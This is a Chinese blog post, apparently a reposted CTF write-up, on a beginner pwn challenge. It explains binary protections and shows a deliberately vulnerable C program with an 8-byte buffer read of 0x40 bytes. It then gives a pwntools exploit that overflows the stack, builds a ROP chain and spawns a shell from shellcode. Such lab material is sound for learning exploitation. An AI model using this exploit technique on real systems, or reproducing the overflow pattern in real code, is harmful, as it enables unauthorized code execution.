记第一个动手跟的ctf pwn程序

我是跟着教程 https://www.bilibili.com/video/av14824239?from=search&seid=14623454945684351685 来做的

是最基础的shellcode的题目

程序地址:http://pan.baidu.com/s/1qYFjBlU 密码:j32w

拿到程序,我们先file static分析一下程序:

关注点为 32位ELF,动态链接

接着我们要用checksec来检测elf运行于哪个平台,开启了什么安全措施,如果用gcc的编译后,默认会开启所有的安全措施。

我们输入checksec static来看程序开启了哪些保护措施

这里简单介绍一下各字段的含义:

Arch:只文件运行的平台为:32位的i386,小端字节序列

RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表

Stack:如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过

NX: (No-eXecute) 不可执行的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
若为:NX enabled 这个保护就会开启,意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过

PIE: (Postion-Indenpendent executable)地址无关可执行文件,对应windows上ASLR机制,一般情况下NX(Windows平台上称其为DEP)和地址空间分布随机化(ASLR)会同时工作。ASLR和DEP配合使用,能有效阻止攻击者在堆栈上运行恶意代码。
若为:PIE enabled,则程序开启了这个地址随机化选项,就意味着程序每次运行的时候地址都会变化,而现在是没有开PIE的,那么No PIE (0x8048000),括号内的数据就是程序的基地址

RXW:即我们平常对文件的三个权限 read execute write,这里指有可读可写可执行的段。

这个程序就比较简单了,NX和PIE都没有开启,我们就可以利用传统的思路把shellcode通过read写到栈中,导致栈溢出覆盖返回地址,并且要实现正好shellcode被存放在返回地址的位置,这样就会实现程序执行我们构造的恶意代码(这里可能有你想要了解的一些有关shellcode的知识

我们的static.c代码如下:

#include <stdio.h>
#include <unistd.h>

void init(){
    setvbuf(stdout, NULL, _IOLBF, 0);
}

void welcome(){
    write(1, "Welcome to zsctf!\n", 21);
}

void vuln(){
    char buffer[8] = {0};
    read(0, buffer, 0x40);
}

int main(){
    init();
    welcome();
    vuln();
    return 0;
}

让我们先来看一下程序运行起来是什么样的,但是,当我们在运行的时候,发现,明明有这个文件,却显示找不到文件。

原因就在于:并不是文件不存在,而是bash不识别该执行文件

file一下执行文件发现是32位的,而我的虚拟机则是64位的,那么问题的症结就出现在这里了,Ubuntu 14.04 好像把32位支持库取消了,需要用户自己安装,安装命令如下:

sudo apt-get install lib32z1**

即可运行程序了

我们通过看static.c代码发现可以通过read函数将shellcode写到栈中,导致栈溢出覆盖返回地址。那这里我们要将shellcode读到哪里去呢?由于我们已进知道在函数调用时栈的变化,(不清楚参考这里)我们就知道要将其读到程序的.bss段中(因为.bss段中存放的是程序中未初始化的全
局变量和静态变量)

因此我们需要解决两个问题:1。bss段的地址 2。要覆盖的返回地址的地址

1⃣️我们的bss段地址可以在IDA中得到

2⃣️我们接着来确定这个程序它的返回地址是多少。

我们先用cyclic生成100个字符,将其复制下来:

然后在gdb中(装有peda插件),我们运行gdb ./static
让其start 运行,然后输入continue,之后,将我们生成的字符输进去,会发现缓冲区溢出报错。此时,就是因为我们输入的数据的长度大于缓冲区的长度,导致栈溢出将函数返回地址覆盖。我们可以看到:

这边报错的就是无效的IP地址,也就是我们要找到的eip
我们通过cyclic -l 0x61616166命令

可以发现当偏移为20的时候,存的就是它的返回地址了

这时我们就可以来构建我们自己的exp

from pwn import *

import time

bss_addr = 0x804A024
proc = './static'
context.binary = proc

shellcode = asm(shellcraft.sh())
p = process(proc)

p.recvuntil("Welcome to zsctf!");

rop = ROP(proc)

rop.read(0,bss_addr + 0x100,len(shellcode))
rop.call(bss_addr + 0x100)

p.send('a'*20 + str(rop))

time.sleep(1)

p.send(shellcode)

p.interactive()

其实在整个实验中还是有盲点的,比如pwn库的使用和shellcode的编写。

http://yunnigu.dropsec.xyz/2016/10/08/checksec及其包含的保护机制/#checksec及其包含的保护机制 (这是一篇关于linux下栈保护机制很好的文章)

参考的文章和博客:
https://paper.seebug.org/481/ (介绍PWN的知识点特别详细,大力推荐)
http://tacxingxing.com/2017/07/16/nx-aslr/
https://pwntools.readthedocs.io/en/stable/ (pwntools官方文档)
http://yugod.xmutsec.com/index.php/2018/05/07/37.html

猜你喜欢

转载自blog.csdn.net/qq_37414405/article/details/84846551
今日推荐